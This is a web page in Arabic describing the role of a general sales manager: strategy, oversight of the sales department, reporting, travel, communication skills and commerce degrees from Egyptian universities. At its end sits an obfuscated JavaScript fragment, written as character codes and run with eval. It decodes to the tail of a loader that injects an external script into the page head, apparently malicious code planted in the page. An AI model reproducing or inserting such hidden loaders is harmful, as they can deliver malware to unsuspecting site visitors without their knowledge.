مديرعام المبيعات

1.3K

الوصف الوظيفي: مديرعام المبيعات
يعتبر مدير المبيعات في أي شركة مسؤولًا عن استراتيجيتها الشاملة جنبًا إلى جنب مع رئيس مجلس الإدارة والرئيس التنفيذي والمديرين التنفيذين وغير التنفيذيين.
على هذا النحو، فإنه يتحمل مسؤولية كبيرة عن أداء مبيعات الشركة ومكانتها في السوق.
سيتم استيعاب الكثير من معرفته بالمبيعات في مخطط التسويق والعلامة التجارية للشركة، وغالبًا ما يصبح نفس الشخص مديرًا للمبيعات والتسويق.
يتمثل دور مدير المبيعات المحدد بدقة في الإشراف على قسم المبيعات، وتطوير وتنفيذ استراتيجيات المبيعات، وجمع بيانات الأداء، وإنشاء تقارير للإدارة العليا والمساهمين.

وظائف مدير عام المبيعات
مدير عام المبيعات هو جزء مهم للغاية من فريق إدارة الشركة. وهو المسؤول المباشر عن المبيعات التي تهدف إلى تحقيق الربح ومن ضمن مهامه تنمية الأعمال التجارية. يجب أن يكون مدير المبيعات شخصًا يحب التحدي ومتحمسًا لفكرة الوصول إلى أهداف الشركة من خلال قيادته للمبيعات. ستكون مكافآت تحقيق هذه الأهداف عالية دائمًا وربما أكثر من بعض المديرين الآخرين.
الدور الذي يلعبه هو دور ذو رؤية لكنه عملي. يحتاج مدير المبيعات إلى فهم السوق وسلاسل التوريد الخاصة به، وكذلك فهم الديناميكيات الداخلية التي تعمل في قسم المبيعات – من أعلى إلى أسفل ومن الداخل إلى الخارج. تتطلب المسؤولية عن الربح والخسارة وتوفير التوجيه للقسم فطنة تجارية قوية ولكن أيضًا مهارات اتصال وتواصل ممتازة.
يمتلك بعض من أنجح الرؤساء والرؤساء التنفيذيين هذا – وأكثر رواد الأعمال نجاحًا.
يسافر مدير المبيعات في قطاع النشر كثيرا بسبب المعارض ويعمل لساعات طويلة لأنه سيكون هناك دائمًا أشخاص لرؤيتهم وأماكن للذهاب إليها واجتماعات للحضور من الموردين إلى العملاء إلى جميع أنواع أصحاب المصلحة.
سيكون هناك أيضًا الكثير من العلاقات العامة والضغط للقيام بذلك إذا كنت تعمل في شركة رفيعة المستوى.

المؤهلات والمهارات
مهارات الاتصال والتحفيز الممتازة مفيدة لمدير عام المبيعات، فهو يحتاج إلى أن يكون مقنعًا لكي يقنع الآخرين بالسلعة التي يبيعها. المدير الجيد هو سفير الشركة إلى العالم الخارجي ولكنه أيضًا محرك جيد داخل الشركة.
التخطيط الجيد والمهارات التنظيمية تساعد بشكل كبير، لكن الميزات الشخصية ما زالت أكثر حسما عندما نريد حقًا إنجاز الأشياء. يمكن للمعرفة الجيدة بالحسابات والتمويل أن تحدث فرقًا كبيرًا أيضًا.
يمكن أن تكون القدرة على التحدث بلغة أوروبية واحدة على الأقل، ويفضل أن تكون الإنجليزية، مفيدة بشكل كبير.
• الدراسة الاكاديمية
كليات التجارة بالجامعات المصرية الحكومية والخاصة

107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(t);